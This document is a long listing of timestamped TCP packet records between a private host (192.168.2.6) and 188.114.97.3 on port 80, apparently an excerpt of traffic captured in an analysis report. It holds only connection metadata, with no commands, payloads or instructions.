                                                                                    Oct 16, 2024 10:58:12.184850931 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184855938 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184878111 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184885025 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184894085 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184894085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184906960 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184916973 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184920073 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184932947 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184937954 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184966087 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.184967041 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.184981108 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.185004950 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.185004950 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.185014963 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.185036898 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.185053110 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.185102940 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.185113907 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.185122967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.185144901 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.185167074 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.185169935 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.185182095 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.185190916 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.185216904 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.199191093 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.199213982 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.199224949 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.199261904 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.199281931 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.199291945 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.199299097 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.199304104 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.199316025 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.199326038 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.199342966 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.199354887 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.199378014 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.199404955 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.199417114 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.199425936 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.199435949 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.199440002 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.199455976 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.199464083 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.199470043 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.199475050 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.199486017 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.199512005 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.199527979 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.244339943 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.244373083 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.244381905 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.244396925 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.244399071 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.244411945 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.244421959 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.244421959 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.244440079 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.244491100 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.244508982 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.244518995 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.244534969 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.244541883 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.244548082 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.244558096 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.244560003 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.244570971 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.244580984 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.244589090 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.244592905 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.244618893 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.244632006 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.244735956 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.244746923 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.244762897 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.244772911 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.244780064 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.244796038 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.244817019 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262061119 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262070894 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262089014 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262099028 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262115955 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262144089 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262182951 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262198925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262209892 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262221098 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262231112 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262233973 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262249947 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262264013 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262295008 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262305975 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262315989 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262326956 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262336969 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262337923 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262348890 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262367010 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262382030 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262387991 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262398005 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262408018 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262427092 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262445927 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262459993 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262470961 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262480974 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262491941 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262506962 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262520075 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262532949 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262542963 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262547016 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262567043 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262583017 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262624025 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262634993 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262645006 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262671947 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262738943 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262754917 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262764931 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262775898 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262780905 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262789011 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262798071 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262801886 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262830019 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262860060 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262870073 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262880087 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262890100 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262902021 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262902975 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262916088 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262919903 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262931108 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262942076 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262947083 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262958050 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.262969971 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262988091 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.262995958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263006926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263015032 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263031006 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.263056040 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.263148069 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263165951 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263175964 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263183117 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.263210058 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.263251066 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263267040 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263278008 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263286114 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263297081 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263303041 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.263308048 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263318062 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.263333082 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.263339996 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263350010 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263356924 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.263360977 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263372898 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.263405085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263406992 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.263406992 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.263416052 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263426065 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263449907 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.263473988 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.263474941 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263489962 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263499975 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263528109 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.263542891 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263549089 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.263561010 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263571024 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263581038 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263596058 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.263676882 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263688087 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263698101 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.263706923 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.263731956 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.263731956 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.301944971 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.301954985 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.301964045 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.301992893 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302025080 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302073956 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302115917 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302122116 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302128077 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302146912 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302158117 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302165985 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302170038 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302195072 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302208900 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302295923 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302306890 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302314997 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302325010 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302336931 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302339077 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302347898 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302352905 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302361012 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302371025 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302396059 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302516937 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302525997 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302541971 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302550077 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302556038 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302566051 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302567959 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302581072 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302591085 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302601099 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302608013 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302613020 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302623034 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302625895 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302634954 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302653074 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302669048 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302712917 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302722931 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302731991 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302742958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302752018 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302759886 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302764893 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302772045 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302800894 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302809000 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302820921 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302830935 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302840948 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302849054 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302850008 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302875042 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302875996 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302887917 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302896976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.302900076 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302927017 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.302949905 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.316644907 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.316653967 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.316663980 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.316679955 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.316690922 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.316715002 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.316734076 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.316757917 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.316765070 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.316776991 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.316787004 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.316787004 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.316814899 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.316818953 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.316839933 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.316859961 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.316941977 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.316951990 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.316961050 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.316976070 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.316984892 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.316998005 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.317008018 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.317018032 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.317018032 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.317030907 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.317030907 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.317056894 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.317080021 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.361887932 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.361896992 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.361907005 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.361947060 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.361965895 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.361978054 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.361978054 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.361989021 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.361999989 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.362010002 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.362020016 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.362030029 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.362035990 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.362040997 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.362059116 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.362075090 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.362083912 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.362086058 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.362093925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.362118959 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.362129927 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.362313032 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.362323046 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.362332106 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.362341881 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.362351894 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:12.362360954 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.362370014 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:12.362380981 CEST4973580192.168.2.6188.114.97.3
